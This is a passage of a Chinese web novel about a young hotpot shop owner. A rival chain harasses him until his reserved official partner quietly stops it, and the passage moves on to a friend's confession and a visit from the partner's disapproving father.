“不是。”乔施珩没打算透露他们的关系，所以只能含糊过去：“是我表哥。” “叫什么啊？” “姓郑。”乔施珩没有透露他的姓名，只说了一个姓。 乔施珩做了个四宫格大锅，“你们等下也过来一起吃。” 店员都没有吃饭，平常这个时候他们如果不是吃串串锅就是叫外卖或者去别家买其他东西吃。今天正好要请郑先生吃饭，干脆就一起吃了。 他把锅底端上桌，拿了好多肉和菜。 几个人坐到一起，小玉一点儿不见外，拿了点饮料过来，招呼郑祉桓，“郑哥，你别客气啊，周末有空就来给我们做收银员！” 郑祉桓一向话都少，所以他也没有什么表示。 反倒是梅姐很热心：“小郑啊，在哪里工作呢？” “申市。”乔施珩替他回答。 “那不近啊，怎么周末到这边来？” 这回乔施珩没回答，反倒是他自己回答：“来看看他。” 这个他，不用说在场的几个人也明白。 但是鉴于他说得太过自然，倒是也没听出其他什么意味来，就连雷达轰鸣的小玉一时间也不能确定她到底该不该多想。 乔施珩急忙找了别的话题把这个话题带过去了。 吃完饭，趁着没人上门，他又把店里里外外都收拾了一遍，却一晃神，没看到郑先生了。 但是他知道他应该没走。 果然，四点多的时候，他回来了。 拎回来很多水果。 “怎么买这么多水果啊？” “健康。” 乔施珩让小玉把水果拿去分了吃，他自己洗了盘水果，找了靠窗的位置坐下，不多久，郑祉桓就在他对面坐下了，他递给他一个包装精致的盒子外加一盒烫伤膏。 乔施珩接过来，那盒子上的英文他不认识，翻到背面才发现另一盒是护手霜。 比起惊讶感动什么的，他更多的却是觉得好笑，“买这个干嘛？” 郑祉桓显然不是会解释的那种人，他只是简要地说：“你应该可以用到。” 乔施珩剥了个砂糖橘给他。 “我想跟你说的麻烦事，就是隔壁那家小君串串香。他们现在装修已经很吵了，之前还把水泥袋放在我们门口。有两个人上门，想要我关门给他们挪地方，好傲慢，所以我都不知道我这个店能干多久，导致我现在想招人也不敢招人。”乔施珩问他：“你怎么看呢？小君香是全国有名的连锁店，我这个就是自己开的，应该竞争不过吧。” 郑祉桓略作思考，很肯定地告诉他：“继续开下去，没什么问题。” 不知道为什么，别人对他说这个话，他听着虽然觉得被鼓励，但心仍然是提起来的，而郑先生告诉他没什么问题，他就能感受到悬起来的心缓慢落下。 “那我可相信了。” “后续有问题，我来处理。”郑祉桓主动建议：“再招个男生吧。” “为什么？”乔施珩倒是没有想过性别问题。 郑祉桓似乎没想到他会问这么显而易见的问题，从他的角度来看，店里只有他一个“柔弱”的男士，遇到什么棘手的问题，不太好应付。但他一向不擅长解释过多，“力气大。” 乔施珩没想那么多，但他认为郑先生说得也有道理，招个男生来也可以和他一起搬一些重货。 他把手里的菠萝蜜递给他：“好吧，那我明天就贴招工启事。” 后厨小玉叫他：“小乔老板，楠楠把香蕉给炸了，你来尝尝看。” 在乔施珩离开的这会儿工夫，郑祉桓拿出手机，翻到通讯录，拨通了一个号码。 电话那头的人很惊奇：“老郑，什么风把你给吹来了？” 郑祉桓不像他那么生动，甚至有些冷硬，“我在天市，一起吃个饭。” “你来天市你不早说，我红毯香槟迎接你去啊。” “红毯香槟，违规。” “你看你，还是这么正经。行，你来者是客，我做东，地址发你微信啊。” 郑祉桓甚至最后还补了一句：“按规定办。” “放心吧，我找那弄堂里的小饭馆，你不嫌弃就行。” 挂掉电话，乔施珩捏着一根炸得酥脆的香蕉过来，献宝一样递到他面前：“你尝尝，你买的香蕉，楠楠炸了，很好吃。” 郑祉桓接下来，尝了一口，确实不错。 “晚上约了以前的同事吃饭。”他想了想，发现乔施珩也认识对方后，就报了他的姓名，“以前宁冬SZF办公T主任，何长生，现在在天市这边。” 乔施珩对他工作上的同事知道得不少，但有印象的不多，他想了半天也没想起来。 郑祉桓提醒他：“差点给你跪下的那个。” 乔施珩这才有了一些印象，“就是那个开会要穿白衬衫他忘记了，拜托我去帮他买一套的那个人吗？” 他想起来了，“他酒量很好的，你别和他喝酒。” “不喝酒。” 晚上客人陆陆续续又多了起来，乔施珩也就没顾上其他事情了。 等到忙完，客人走得差不多了，已经将近十点。 小玉到门口挂上休息的牌子，却有几个人高声喧哗着过来了，他们推开门，捏着那休息的牌子，很不理解：“这才几点就关门了？” “抱歉啊，我们店规定就是十点关门。”这个规定是乔施珩定下的，因为忙了一天了，再忙下去身体会吃不消，这个点关门已经算很晚了，有时候客人要到十点多才走，他们收拾完成已经快半夜了，早上还要在十点钟开门。 “这条街，就你们家关门最早。” 这几个人虽然看着不像好人，但到底也没有纠缠下去，而是又勾肩搭背，往别家去了。 乔施珩把店里都收拾完成，小玉她们下班后，他就留了两盏灯，自己坐到前台，编辑招工启事的单子。 编辑完成后，他刷了一会儿手机，有些昏昏欲睡。 迷迷糊糊间，他听到台上有声音，抬头一看，竟然是一杯玉米汁。 郑祉桓站在前台外侧看着他。 乔施珩拿过玉米汁，毫不客气地喝起来，“你先洗漱。” 郑祉桓挤进那狭小的洗漱间，发现原本的一次性牙刷换成了正常的牙刷，牙杯也不再是纸杯，而是特意准备的不锈钢杯子。 这个时候乔施珩在他身后开口：“因为你和冯昭常来，我就买了一些备用。” 郑祉桓转身，吓得乔施珩捏着玉米汁往后退了两步，结果他只是沉着脸关上了门。 等乔施珩收拾好回到房间，郑先生已经睡下了。 他上床后，留了盏床头灯，本来还在玩手机，但没多久，他就趴在床沿盯着郑先生发起了呆。这个时候好像想了很多事情，但很混乱，还没理清头绪，垫子上的郑先生忽然翻了个身，面对他这边，开了口，却没睁开眼睛。 “还不睡。” 乔施珩问他：“你没睡着吗？” 郑祉桓应了一声。 乔施珩叹气，“还是要早点睡着，隔壁装修，每天很早就会嗡嗡嗡，我都说过他们好几次了，也没有用。”他从床头柜的抽屉里翻出耳塞递给他：“要耳塞吗？不然明天很早就会醒。” 郑祉桓闭着眼去接，一把握住了他的手腕。 乔施珩心猛地往上一提，手一松，耳塞盒掉了下去。 但下一刻，郑祉桓的手就松开了，他捡了耳塞盒却放到了一边，看起来是不用。 屋内又安静下来。 乔施珩趴在床沿，两只脚一直晃荡，他知道，他们两个走到了今天，都在做出改变。 于是他伸手关掉灯。 “晚安。” 清早，乔施珩却没听到隔壁的装修声，更可怕的是，他根本也没听到闹铃声，直接睡过了头。 等他洗漱好，急急忙忙出去，郑先生已经帮他把货物都提了进来，而且他昨天编辑好的招工启事，也被打印出来，贴在了门上。 郑先生穿着休闲装，做这些活的背影，让乔施珩觉得很割裂。 这么多年，他的手只拿过笔，签过那么多重要的文件，怎么也没想过有一天，他会来做这些粗活和杂活。 他忘记换鞋，拖着毛绒拖鞋朝门外走去。 “为什么没听到隔壁装修声？今天没装修吗？” 他推门出去看了看，那些工人正坐在一起吃早餐，一人一杯热气腾腾的豆浆。等他转头回来，一模一样的豆浆就在前台桌上放着。 “你请他们吃早饭啦？” 郑祉桓洗了手，过来把早餐提到最近的一张桌子上放着，默认了。 “反正我都习惯了，不过请一顿也可以，祈祷他们以后每天早上都不要吵。” 郑祉桓要回申市上班，他中午就要离开，正是饭点，乔施珩顾不上他，等他忙完，郑祉桓已经离开了。 下午他趴在桌上补了个觉，醒来准备迎接晚上的客人时，就发现门口有几个眼熟的小青年一直在晃荡，他们个个都剪着奇奇怪怪的发型，头发也染得五颜六色，让人一看就是不良青年。 直到有客人想进门，他们上前推搡时，乔施珩才意识到这群人是冲着店来的。 “我看着这几个人这么眼熟呢？”小玉想起来：“他们就是之前晚上路过的那几个人，只是发型变了。” 梅姐也凑过来：“他们是想干什么呀？把人都赶走了，什么意思？” 乔施珩推开门，走了出去。 第67章 “你是阿拉丁神灯吗？”…… “你们干什么？” “没干什么啊，路过还不让路过了？”小青年痞笑：“我们几个人站在街边碍着你店铺事儿吗？” “你们这样影响我们店的生意了。” “开玩笑，这路是你们家的吗？” 乔施珩意识到他和这些人讲理是讲不通的。 紧接着，他们在网络平台的店铺遭遇了大规模的差评。 “太过分了吧！我们店才上平台没多久，怎么可能有这么多人来消费？”小玉滑动着手机，问乔施珩：“小乔老板，怎么办？” 苗楠感叹：“这不会就是资本的力量吧？” 这些小青年在店门口的街道上溜达了一个中午，不止乔施珩这一家店铺受到影响，隔壁几家也有出来说他们，甚至其中有一家还报J了，但在Jc来之前他们就跑了，等JC走之后，他们又会溜达回来。 乔施珩握着手机，不知道该不该给郑先生打电话，他才走就发生了这种事情，不知道他会不会有时间处理。而且乔施珩也有顾虑，他不知道他远在申市，好不好插手这边的事情。 正在犹豫时，之前那两个傲慢的人又上门了。 “乔老板，现在还有考虑的空间，我们仍然愿意维持原有价格请你转让。” 乔施珩把手机调到录音状态，他问：“门口那些人是你们小君串串香找来的吗？” “什么人？” 乔施珩想，他们应该不会承认的，果然他们两个人的话题只围绕在店铺本身。 “我们也关注到你的店铺在网络上的评价并不太好，我们这么做也是在帮你。” “差评也是你们小君串串香找人刷得吗？” “乔老板，你不能因为我们想要你转让店铺，就把恶意都加到我们身上吧？我想有必要提醒你注意言辞，否则我们会告你诽谤。” 乔施珩再好的脾气也难忍，“我不会转让的。” “现在已经没有客人上门了，如果后续消防、S监查出不合规的地方，你们还是要面临关门的窘境。” “你这是威胁吗？” “乔老板，我只是实事求是地为你分析你目前可能遇到的困境，我再次提醒你，注意言辞。” “和你们没什么好谈，请你们离开。” 这两人走后，小玉很担忧：“我们是合规经营，相关证书也都有，他们不会真的去T诉我们吧？” “来检查也不怕，我们又没什么违规的地方。”乔施珩安抚她们：“没事的。” “都这样了还没事呀？”梅姐思索半天，“我有个亲戚在派C所工作，我问问他看看，这种情况应该怎么处理。” 梅姐去一边打了半天电话，摇着头回来，“他都快退休了，也不是这块属地，他说管不了。” 乔施珩想打那个熟悉的电话，但是因为之前的事情他总觉得给郑先生先打这个电话会有些尴尬。他人在的时候，自己还能很放松，他离开后，打电话就会让他有些不自在，好像是在示弱，虽然他本来就很弱。 在人生地不熟的地方开店，还被人欺负。 就在他犹豫之时，门外的街道上忽然闪烁起了J车的灯光，一辆J车停在了他们店门口的街道边。 那几个小青年又一哄而散。 J车上下来两个JC，他们在乔施珩的店外看了看他的招牌，又看了看手机，似乎是核对什么。接着，他们绕着隔壁已经装修差不多的小君香转了转，才进入乔施珩的店里。 乔施珩和小玉她们站在门口，像是欢迎他们进来。 “中午是你们报J的吗？” 乔施珩摇头：“是旁边旁边那个米粉店。”他抓紧机会对他们说：“那几个小青年堵在店门口，客人都不敢进来了，有办法解决吗？” “抓了也不顶什么事，不过没事，我们会加强这片区域管理。” 简单几句话之后，他们就离开了店里。 但等了很久，他们的车都没走。 终于，在天黑透时，乔施珩的店里终于迎来几个客人。 晚上他躺在床上，看着自己店铺下面数不清的差评，翻来覆去睡不着。 这时有人给他打来视频电话，他定睛一看，竟然是郑先生！ 这真的很稀奇。 接通后，他这边只有一盏昏暗的床头灯，但郑先生那边却是坐在书桌前。 他戴着眼镜，应该是面对着电脑，还在工作。 但乔施珩接通后，他的目光就落在了手机上，他似乎不知道角度这些东西，低着头，垂着目光，堪称是死亡角度，但他五官标致，轮廓清晰，在暖色调的灯光下，会将他的锐利柔和几分。 “怎么还在工作？”乔施珩扫了眼时间，“都十二点了。” “新接手一些事情，要了解的东西比较多。”他抬眼，敲了下键盘，之后低下头看向镜头中的乔施珩，“今天有人找麻烦了？” “你怎么知道？” “拜托何长生关照一下，所以你不用怕。” 郑祉桓似乎对发生的事情了解得比较清楚，“小君串串香背后的潮南食记一直在谋求上市，若是小君串串香爆出使用不正当手段打压本地小商户，会严重影响品牌声誉和上市估值。”他又话锋一转：“当然，对他们背后的投资机构进行善意提醒合规合法，由投资机构向其总部施压，这件事就不会大事化小小事化了。” 乔施珩听着这些字眼，觉得好遥远。 “没想到我会遇到这种事。”他往被子里埋了埋，露出两只眼睛盯着手机，“但还是谢谢你。” 郑祉桓显然不懂怎么抓这种机会，他只会古板又疏离地回他：“没事，我说过，后续有事情我会处理。” 乔施珩想半天，不确定他这么古板的人知不知道APP的作用，还是选择向他告状，“可是他们还在网上把我们店铺打了好多差评。” “你睡醒，差评就会消失。” 乔施珩是真的相信的。 “你是阿拉丁神灯吗？” 难得，郑祉桓回了他一个很短促的笑容。可是他还是不会说话，也不会撩人，更不会说什么，只要你愿意，我就是之类的话语。 他只会很正经，又带着他似乎刻进骨子里的那种淡漠与疏离，告诉他：“解决问题的途径有很多种，不是有那么一句话，办法总比困难多。” 乔施珩心想，那是对你，又不是对我这种普通人。 “你什么时候睡觉呢？” 郑祉桓往后一仰，似乎很疲惫，他摘下眼镜，捏了捏眉心，“业务范围扩大了不少，要学习的东西就会多，否则很多事情处理起来会掣肘。” 乔施珩不知道怎么想起来他刚回云海省的那段时间，也是这样，但那会儿他们还住在一起，乔施珩就会给他温牛奶。但是那短暂的时间过后，他们就分开住了，而他身边的人也多了起来。 “你现在还会受到别人的压制吗？” 郑祉桓似乎没想到他会这么问，他重新戴上眼镜，靠近屏幕。 “压制是无形的。但现在不会因为顾忌一些人和事选择做一些我不想做的事情了。” 乔施珩笑起来，眼睛弯弯：“是因为你掀桌了吗？” 郑祉桓的眉眼也舒缓下来，“谁说不是呢？” 挂断视频后，乔施珩却没有了困意，不知道是不是天气在变暖，被子变厚了，他觉得好热，翻来覆去好久，才睡着。 早上被闹钟叫醒后，他迷瞪了一会儿，突然想起来差评的事情，急忙拿起手机去看，果然，那些差评竟然真的没有了，恢复到了被差评之前的样子。 他顶着乱蓬蓬的头发去洗漱，不知道为什么，觉得自己腰板都直了不少。 将送来的货物提到后厨准备清洗的时候，门外来了个应聘的年轻人。 他外地口音比较重，显然不是天市本地人，乔施珩听着他的口音，像是西北哪个城市的人，一问，果然是。 “十九岁，怎么没上学？”乔施珩看着他的身份证问。 “没考上，就出来打工了。之前在胖哥煲仔饭，过完年来了以后那边店关门了。” “那你有住的地方吗？” “有，和几个老乡在对面小区租了个房子。” 乔施珩点点头，跟他谈薪资的时候本来还有些顾虑，没想到他却说：“比胖哥煲仔饭高呢。” 就这样，小玉她们到店时，看到一个小帅哥在店里还很诧异，再知道问题都解决了，就更诧异了。 “菩萨显灵了吗？”她急忙拿出手机，一看果然差评都删了。 乔施珩没说什么，只把新来的小伙子介绍给了她们。 “王纯，才十九岁，你们关照一下。” “年轻好啊，年轻人力气大。”梅姐笑呵呵：“今天就做吗？还是明天过来？” “今天就做，干一天多一天工钱。”王纯比较朴实，也笑呵呵的。 十点半左右，那辆j车又开了过来，停在了老位置。 小玉啧啧称叹：“这不成咱们护法了？” 在一个阴雨连绵的日子，那傲慢的两个人又上门了，与之前不同，他们这回提着两箱水果。 这样的天气又是午后，店里没有客人，他们把东西放下，不再傲慢，而是很客气地说：“抱歉啊乔老板，之前的事情是我们处理不当，向您赔罪。” 乔施珩也不是那种不依不饶的人，“没关系，只是我们小商户本来做生意就很困难了，你们大品牌选址的时候还是要仔细考量一下，不要再跑到别人旁边让别人让位，现在市场也不景气。” “是，您说得对，我们接到消息，对这个店铺的规划可能还会调整，总之，对您造成困扰，我们再次向您道歉。” 这两人走了以后，小玉伸头朝门口去看，“奇了怪了，这么客气。”她问乔施珩：“小乔老板，你找人啦？” 乔施珩歪头，不想说又不想否认，“大概吧。” 他给郑祉桓发消息。 【阿拉丁神灯，我的愿望达成了，我来还愿。（拜托.jpg）】 等了半天，才等到他回了个干巴巴的Ok手势。 乔施珩不自觉鼓起腮帮。 【他们上门道歉了，我原谅他们了。】 又等了半天，他却只回了个好字。 算了，乔施珩失去了聊天的欲望，反正他也不会聊。 但接着他就收到了一条他的信息。 【燕京要召开会议，我需要过去，大概去半个月。】 【（好.JPG）】 事情平息后，总是停在门口的J车也走了，只是隔三岔五会有执F人员开着车从街上过。 乔施珩不知道天市是不是也有倒春寒一说，都已经三月了，还大降温一波，整日阴雨绵绵，店里的生意远不如晴天的时候。 就在他为生意发愁的时候，却有两个自称是天市本地美食推荐官方账号的负责人找到了他。 第68章 “你原谅他了吗？” “天市美食推荐，我们是官方账号，文L下面的，你看，有认证的。”那戴眼镜的男士把自己的工作平台展示给他看，“这是我们D钉工作组，你看一下，这是我，绝对货真价实。” 乔施珩看完以后倒是没有怀疑他们的身份，只是他不明白：“我们店才开不久，网络上也没有几条评价，你们是怎么发现的呢？” “是这样的，我们……”他似乎绞尽脑汁，才编出一个理由：“我们有个工作人员前段时间偶然过来吃饭，吃完以后回去就夸得不得了，我们就想着过来采访一下，推荐一下。” 乔施珩看他费尽心思地编造理由，脑海里冒出郑先生之前和他说拜托过何长生关照的话来，他拿出手机百度了一下何长生，发现他虽然不如郑先生的职位高，但是现在所负责的事情也很多，就包括这方面，怪不得他们会找上门来。 “可是我们确实是新店，才刚刚做，也没有达到多么美味需要推荐的地步，这样不是占用了其他达到推荐要求店铺的资源了吗？”乔施珩拒绝，“而且我这样的新店出现在你们的推荐中，会引来猜测吧？这样对你们也不好。” 这个男士显然没想到他会拒绝，拒绝的理由竟然还有模有样。 倒是和他一起来的女生站出来解释：“我们的账号虽然之前一直都推荐的是老字号饭店，但现在也逐渐开辟了新店的板块，而且你也不是第一个出现的新店，这方面的顾虑你大可不必有，我们不会砸了自己的招牌，也不会把自己置于风口浪尖上。” “我只是怕会给你们带来不好的影响，对我自己倒是没关系。” “我们向你保证，不会有事情，而且我们账号最近流量也不错。”女生看着他不禁露出笑容，“再说了，如果店老板出镜的话，我想可能流量会更不错。” 乔施珩没敢立刻答应下来，他只说考虑好给他们回复。 他们大概还是头一回遇到这么谨慎的人，但是也没不高兴，反而是留下来品尝一下。 “我们店招牌锅底是酸辣锅，你们可以吃辣吗？” “可以，但是选择两个锅底吧，再来一个番茄锅。” 显然乔施珩做这个决定，小玉也不理解，“这么好的事情，为什么不赶紧答应，万一他们反悔了呢？” 乔施珩知道郑先生在开会，但是他不知道会议究竟什么时候结束，他还是想问问他的意思。 于是就抽空给他发了一条信息，简述了事情的经过。 没多久他就收到了肯定的回复。 于是那两个人吃完准备走的时候，他答应了他们。 “这么快就考虑好了啊？”女生夸他：“老板你是长得帅，菜又好吃啊，这是真的好吃，我相信我们会合作愉快的。” “需要多少钱？”乔施珩问。 “报价的话我们这边后续有个合同，不过老板你放心，我们收的都是广告公司的制作费，没有其他费用的。” “好，谢谢你们。” 送走他们，正好冯昭迎面过来。 “他们谁啊？聊得这么欢快。” “美食推荐类的官方平台负责人，想推广我们店。” 冯昭进了门，倒是毫不意外，“郑叔叔推荐来的？” 乔施珩确实不知道是不是他推荐的，但应该是跟他有关系。 “你怎么来了？吃饭了吗？” “培训结束我就过来了。”他话音才落，门外外卖人员上门了。 “请大家喝奶茶。”冯昭接下奶茶，看到店里来了个小男生，问他：“新招的？” “对。” “还好多点了一杯。” 冯昭叼着吸管跟在他后面，“能不能给我煮点串配大米饭。” “你去坐着，一会儿就给你端来。” 苗楠问他：“小乔老板，他经常来，是不是喜欢你啊？” 小玉在苗楠旁边尬笑，这话她刚刚才跟苗楠说过，苗楠转头就问了正主。 乔施珩并不觉得尴尬，“他才大学毕业没多久，我多大，没有的事情，只是我们之前在申市认识，又恰好都在天市。” 其实他这个话并没有什么问题，但是苗楠却精准问他：“你为什么没觉得男生喜欢男生是个问题？” 这下乔施珩确实尴尬了，但他还是说：“现在的社会，都比较开放了。” 小玉急忙把苗楠拖出去，“走走走，喝奶茶去。” 苗楠还是解释：“不好意思啊小乔老板，我没有别的意思，我就是问问。” 乔施珩做饭的过程中，脑海里闪过了不少跟冯昭在一起的画面，他看冯昭像看个小孩，甚至连对盛逸则那种很明显的防范意识都没有，而冯昭一直以来也没有说什么不妥的话，做什么不妥的事情。只有上一次，他靠在橱柜上看自己的眼神，让他明确感知到了不寻常。 可冯昭一直没有明说，这就跟他之前遇到的一样，对方没有明说，他主动拒绝是否不妥？ 但当饭端到冯昭面前，他还是在他对面坐下了。 冯昭确实饿了，狼吞虎咽。 乔施珩看了他半天，冷不丁问了他一句：“你是不是喜欢我？” 冯昭差点呛死，他低头咳嗽，却久久都没能抬起头来。 乔施珩很有耐心，就喝着奶茶看着他。 好久，冯昭才缓过来，“我知道，有郑叔叔在，我又没有机会。” “就算他有其他乱七八糟的人，就算他天天一张死人脸，就算他讲话那么难听……就算你生他气都跑到这里来了，可是除了他，你根本就没有考虑过别人。” “我比我舅舅清醒，我一直就知道我没有机会。我偶尔也会给自己一点奢望，但看到你看郑叔叔的眼神，我就没有了念想。” “我都没有打算说，你还问我，弄得我现在很尴尬。”他把碗递给乔施珩，“罚你再给我盛一碗米饭。” 乔施珩真的跑去盛了一碗米饭给他。 冯昭吃着吃着，问他：“你原谅他了吗？” “他不好，我也不好啊。” “你是恋爱脑吧？”冯昭很无语：“你到底哪里不好了？明明就是他不好。” “人无完人。” “那你们以后，会怎么样？” “不知道，但是我们都在做出改变。我想，我们总应该多一些勇气。” “别的我都不反驳，但是你是真的很好。虽然我一开始是被你的外表吸引，我觉得你很特别，不知道为什么第一次看你，就觉得很好看，这也是我为什么老烦你，但是后来我发现，你不是只有外表，虽然说普罗大众大概都是一个生活模样，但你就是让我觉得很特别。乔施文的那件事情里，你真的很清醒，就是对待所有的事情，你都很清醒。当然，郑叔叔这件事情除外。” “也可以理解，爱情本来就会降低人的智商。” 冯昭低头想了很多，“我本来，懒得接触太普通的人，我也不是你看到的这样收敛。但是面对你的时候，我就想不到那么多，我也知道你看我像看小孩，但有时候我还是会有侥幸心理。人，可能都会存有侥幸心理。” “我舅舅确实不是好人，所以我不希望你跟他走太近。但是不代表郑叔叔就是什么好人，你跟他在一起那么多年，你们两个……”他想说，你们两个也没有什么结果，后续还会有结果吗？ 但他的质疑却被乔施珩那副平静面容所打破。 他忽然就不想质疑了。 人家在一起那么多年，哪里还有需要他质疑的地方。 “我以后，还能来蹭饭吗？” “当然可以。” 乔施珩想到盛逸则，“你舅舅他……结婚了吗？” “没有。”冯昭终于提起劲儿来，“他要结婚那不就是祸害别人家小姑娘吗？所以我拜托我爷爷想尽办法捞他，让他可以不用结婚。他说要感谢我，我还没想好让他怎么感谢我，我得坑他一笔大的。” 他终于扬眉吐气：“我受了他那么多年的管制，现在终于翻身做主人了，以后有他好受的。” 乔施珩觉得好笑：“不管怎么说也是你舅舅，你还是要尊重他的。” “我早就看不惯他玩弄别人感情了，以后他就死了这条心，青灯古佛吧。” 乔施珩当他说玩笑话，没再说什么。 他答应了要推广自己的店之后，那女生独自带着合同过来跑了几趟，后来还带着摄像师过来彩排了两次，终于敲定正式录制的时间。那天早上乔施珩还是老样子，穿着很普通，被小玉拉去对面理发店里好好收拾了一番。 但他没什么很好的衣服，就仍然穿着简单大方的衣服出镜。 因为紧张，介绍自己家锅底和菜品的时候，还是有好几次卡壳，幸好主持人经验丰富，帮他化解尴尬。 视频上线那天，店里几个人围在一起看，镜头里的乔施珩，唇红齿白，头发又很黑很顺，介绍出错的时候害羞脸红会很明显，弹幕和评论区的讨论几乎都在店老板这个人身上。 视频发布后，店里的人明显多了起来，虽不至于是爆火的地步，但比起之前要好不少。还有一些人会要求和乔施珩合影，乔施珩一般都不会拒绝。 店里人多他也更加忙了，郑先生那边也一直连轴转开会，脱不开身，但他会跟乔施珩报备自己在做什么，这是以前没有过的，所以乔施珩也不会在意他有没有来。 语烟乄　天气变暖后，乔施珩觉得店里都明媚起来。 隔壁一直搁置着的小君香，某天忽然撤换了广告牌，换成了著名的一个奶茶品牌。 乔施珩这条街上杂牌奶茶店不少，但知名连锁的却很少，这样的奶茶店开在旁边，他的店估计也会跟着沾光。 至于这个店铺为什么会换成奶茶店，他已经不需要过问了。 这天午后他都收拾好准备眯一会儿的时候，店里进来三个人，乔施珩从前台桌上抬起头，虽然逆光，但他还是心中一颤。 “郑叔。”比起诧异，他此时更多的却是惶恐与不安。 老爷子一如既往，没什么好脸色给他，他让那两个人到门外等他，自己拄着拐杖找了个偏僻的位置坐了下来。 第69章 “我们在一起很多年了。…… 乔施珩端了茶上来，为他倒了一杯。 “别忙了，坐吧。” 乔施珩坐下后，是真的感觉浑身冒冷汗，他不知道这个时候老爷子找到他，是为了什么。又或者，他有没有能力应付老爷子。 “按说，我不该来找你，毕竟你已经跑到了这个地方。”老爷子看着他，话锋一转，“在申市的那件大A中，我是拼了我这把老骨头，才将他安然无恙地保出来。这些年，我知道我亏欠他，所以为他收拾一些烂摊子，我也很乐意。那件事情中，他声称他清白，但是你信吗？” 乔施珩不敢说话。 “两个人一个屋，门一关，发生什么事情谁知道？他这高低也还是个生活作风问题。除去这些，他当初为自保不得不做的一些事情，都对他产生了极大的影响。我豁出去这张老脸，请人优先调C他，前前后后调C了好几遍，换了好几拨人，才将他摘出来。”老爷子说到这里，深深叹了口气，却是欲言又止。 乔施珩不知道郑先生的家庭到底是怎么样，他最多只知道他小时候是放在舅舅舅妈那里养，他也很少和自己提他的家庭，远在西北的那些年，他回家的次数也屈指可数，连带着乔施珩被他拖着，有些时候都不能回家过年。 “他和我并不亲近，甚至甚是疏远。这些年他只靠他自己，没有要求我为他做什么。就算遇到了这天大的麻烦，也是自己努力周旋，想要在绝境里保存自身。但是当他决心破釜沉舟后，他却找到了我。” “如果他没开始做这件事，我肯定不会同意他这么冒险。但他找到我的时候，事情已经做了。他说他不能结婚，他说事情脱离了他的掌控。”老爷子看着他，“虽然他从始至终没提过你，但是我也不是个瞎子傻子，我知道是因为你。” “我最初并不同意你做他的司机，你太年轻了，照顾自己都困难，怎么去照顾他？但他坚持，我就没有再干预。”他无奈，“现在想干预，也晚了。” “这些年，也多亏了有你在他身边。” 乔施珩听得心里发堵，他不知道老爷子是什么态度，只能耐心往下听。 “你辞职以后，我是松了一口气的，但接着的这些事情，我就明白，这口气我松不了。尤其是你跑到了这里，他却还想着过来。” “小乔，你为什么辞职，我大概也能猜到，但他却可能不知道。”老爷子摇头，“他上初中后，被我们接回来，根本没办法一起生活。他妈总是说他不是正常人，但他不正常也是我们做父母的造成的。” 乔施珩看他态度和缓，以为他是接受了。他悬着的心开始往下落。 “可是这条路并不是那么好走。你们现在还年轻，可能无法体会，等到了老来，多半是会后悔。” 从他的话音里，乔施珩是能够感觉到他不太看好他们两个在一起的。其实从家长的角度来看，可能大多数家长，都是不赞同的。但不知道是不是老爷子真的觉得亏欠他太多，即使已经满脸不愿意，也最终没说出不赞同三个字。他大概是自己内心也十分纠结或者说煎熬，就这么坐着，不再说话了。 乔施珩给他添了热茶，不知道应该说些什么。他不是个善于跟别人剖析自己情感经历的人，甚至羞于说爱，他不能不承认自己曾经很自卑，而他也很明白，自己现在在走出自卑，在变勇敢。 “郑叔，我……” 店门在这时被人推开，郑祉桓气息不稳，进门后他环顾了四周一圈，看到他们后就径直走了过来。 “你跟他说什么了？”郑祉桓质问他，“你怎么会想到要来找他？现在是我的问题，和他没有关系。” 老爷子比他淡定很多，他抬眼扫了一下情绪稍微有些激动的郑祉桓，“坐下说。” 郑祉桓拉开椅子，坐了下去，乔施珩只好也跟着他一起坐下。 “你带着情绪见我的这几次，都是为了小乔。”老爷子摇头，“如果不是为了他，你和我这辈子估计也没什么好好说话的时候了。” “别扯那些，我要和谁在一起，是我的事情，不需要你们过问。” “我不是来阻拦你们的，我是要告知你们，这条路并不好走。你们现在还年轻，以后的事情谁说得准？你能说得准吗？”老爷子的威严不自觉就上来了，“你当初离开的时候信誓旦旦说不需要我的帮助，可以靠自己。但没有我的帮助，你到现在都不可能回到沿海省份来，就别提前阵子你不计后果，捅出那天大的篓子来！” “你现在是一颗新星，往上数甚至往后数些年，都不会有人能在这个年纪坐到你现在的这个位置！你确实是努力，任劳任怨，但平步青云是努力就能够实现的吗？比你努力的大有人在！” 乔施珩眼见他们两个说着说着就要吵起来，急忙又给郑祉桓倒了一杯水，顺便偷偷在桌下踢了他一下。 本来想说什么的郑祉桓倒是温和了下来。 老爷子看了看乔施珩，也跟着放缓了语气，“因为一些不可控因素，我和你妈妈确实是对不起你，所以很多事情，我们也都由着你开心。即便你选择这条路和这个人，我们虽然不赞同，但也会尽力支持。” 他最终为此行定调：“人生的不可控因素太多，及时行乐也不错。” “你母亲最近身体不太好，这个周六，你带着小乔回去看看她，顺便参加一下你大伯的生日宴会。” 他走了以后，乔施珩和郑祉桓都松了一口气。 但接着，郑祉桓又显得不安，“抱歉，我没想到他会过来，打扰你了。” “没事。” 郑祉桓问他：“宴会，你愿意去吗？” “我猜想你应该不会想去。”乔施珩了解郑祉桓，他本来就对家里没什么情感。 “但是我愿意带你去。” 乔施珩的心骤然提起，甚至那瞬间他觉得血液直冲头顶，接着，他就开始紧张，“可是我……” 他害怕不被认可。 但他最终还是选择了去面对。 他总是感觉自己一直徘徊在郑先生的世界之外，这样的机会或许可以让他们更近一些。 乔施珩本来放心不下店里，但苗楠说离了他两天不会有事，大家也比较支持他，他就放心离开了。郑先生走得早，他也不想让他再特意跑来天市一趟就为了接自己，他自己回去就可以了。 虽然他甚至想问郑先生要个定位自己过去，但出了高铁站，郑先生还是过来接他了。 自从那件事之后，他换了一辆低调很多的车，这样显得有些古板的车，倒是很符合他的气质。 “先回家？”郑祉桓问完之后跟了一句，“如果不住家里的话，我也订了酒店。” 乔施珩还没想好怎么跟家里说，决定还是先不回家，等到走之前再回去一趟。 郑祉桓给他订的酒店在医院附近，这里距离他们家也不远。 乔施珩稍微收拾了一下，就跟着他去医院了，路上路过水果店，乔施珩下来买了些水果和礼品。 比起郑先生的父亲，乔施珩觉得他的母亲其实比他父亲更有种难以接近的感觉。果然，老太太并不欢迎他。 她应该是已经从老爷子那里听说了，也或许是跟老爷子意见相左，从乔施珩进门，她就拉着一张脸，什么话也没说。 乔施珩跟她问好，也不回应。 郑祉桓显然不是那种对她有耐心的人，他要带乔施珩走，她才开口：“急什么？来了有五分钟了吗？就要走。” 乔施珩又带着郑祉桓在她旁边坐下，他看她东西已经收拾好了，主动问：“阿姨是可以出院了吗？” 